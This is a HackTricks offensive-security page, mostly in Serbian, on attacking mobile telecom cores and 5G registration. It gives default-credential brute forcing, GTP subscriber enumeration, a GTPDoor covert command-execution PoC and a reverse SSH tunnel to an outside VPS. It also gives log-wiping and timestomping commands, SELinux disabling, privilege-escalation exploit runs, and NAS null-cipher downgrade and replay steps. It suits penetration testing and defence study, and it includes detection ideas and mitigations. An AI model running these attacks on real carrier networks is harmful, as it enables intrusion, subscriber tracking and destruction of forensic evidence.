Eksploatacija telekom mreža (GTP / Roaming Environments)

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

note

Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Posvećeni wordlist dramatično povećava uspeh brute-force-a:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod).

1.2 Otkrivanje hostova unutar GRX/IPX

Većina GRX operatora i dalje dozvoljava ICMP echo preko backbone-a. Kombinujte masscan sa ugrađenim gtpv1 UDP sondama da brzo mapirate GTP-C slušaoce:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumeracija pretplatnika – cordscan

Sledeći Go alat sastavlja pakete GTP-C Create PDP Context Request i beleži odgovore. Svaki odgovor otkriva trenutni SGSN / MME koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ključne opcije:

  • --imsi IMSI ciljnog pretplatnika
  • --oper Home / HNI (MCC+MNC)
  • -w Zapiši raw packets u pcap

Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Izvršavanje koda preko GTP – GTPDoor

GTPDoor je mali ELF servis koji veže UDP 2123 i parsira svaki dolazni GTP-C paket. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko /bin/sh -c. stdout/stderr se eksfiltriraju unutar Echo Response poruka tako da nikada nije uspostavljena izlazna sesija.

Minimalni PoC packet (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detekcija:

  • bilo koji host koji šalje unbalanced Echo Requests prema SGSN IP adresama
  • GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN isporučuje SGSN emulator sposoban da establish a PDP context towards a real GGSN/PGW. Nakon pregovora, Linux dobija novi tun0 interfejs dostupan sa roaming peer-a.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the sloj podataka.

4.2 SSH Reverse Tunnel over Port 53

DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Proverite da li je GatewayPorts yes omogućen na VPS-u.

5. Tajni kanali

KanalTransportDekodiranjeNapomene
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)potpuno pasivan, bez odlaznog saobraćaja
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) enkodirano u oktetima A-record zapisaposmatra *.nodep poddomen
GTP – GTPDoorUDP 2123AES-128-CBC blob u private IEmeša se sa legitimnim GTP-C saobraćajem

Svi implants implementiraju watchdogs koji timestomp njihove binarne fajlove i ponovo ih pokreću ako se sruše.

6. Pregled tehnika izbegavanja detekcije

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Eskalacija privilegija na Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Savet za čišćenje:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Set alata

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling opisani u prethodnim sekcijama.
  • FScan : skeniranje intraneta po TCP portovima (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lagani SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed).

Tok registracije (pojednostavljeno):

  • Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities.
  • Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
  • Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering.
  • PDU Session Establishment: podešavanje IP/QoS.

Saveti za lab podešavanje (bez RF):

  • Core: Open5GS default deployment je dovoljan za reprodukciju toka.
  • UE: simulator ili test UE; dekodovati pomoću Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Korisni display filteri u Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika.

Kako testirati:

  • Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE.
  • Wireshark brze provere:
  • Trebalo bi da dekodira kao SUCI, ne IMSI.
  • Primer filtera: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci bi trebalo da postoji; odsustvo plus prisustvo imsi ukazuje na leakage.

Šta prikupiti:

  • MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija.

Mitigacija:

  • Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Background:

  • UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
  • Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.

Problem:

  • Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa.

Ofanzivni koraci:

  • Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0.
  • Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja.
  • Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0.

Verifikacija/vidljivost:

  • U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
  • Primer izlaza pasivnog sniffera:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigacije (obavezno):

  • Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi).
  • Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms.

9.3 Replay of initial Registration Request (pre-security NAS)

Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF.

PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost.

Mitigations:

  • Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS.
  • Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration.
  • 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu.
  • Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije.

9.5 Defensive checklist

  • Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila.
  • Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2.
  • Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers.
  • Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage.

Detection Ideas

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks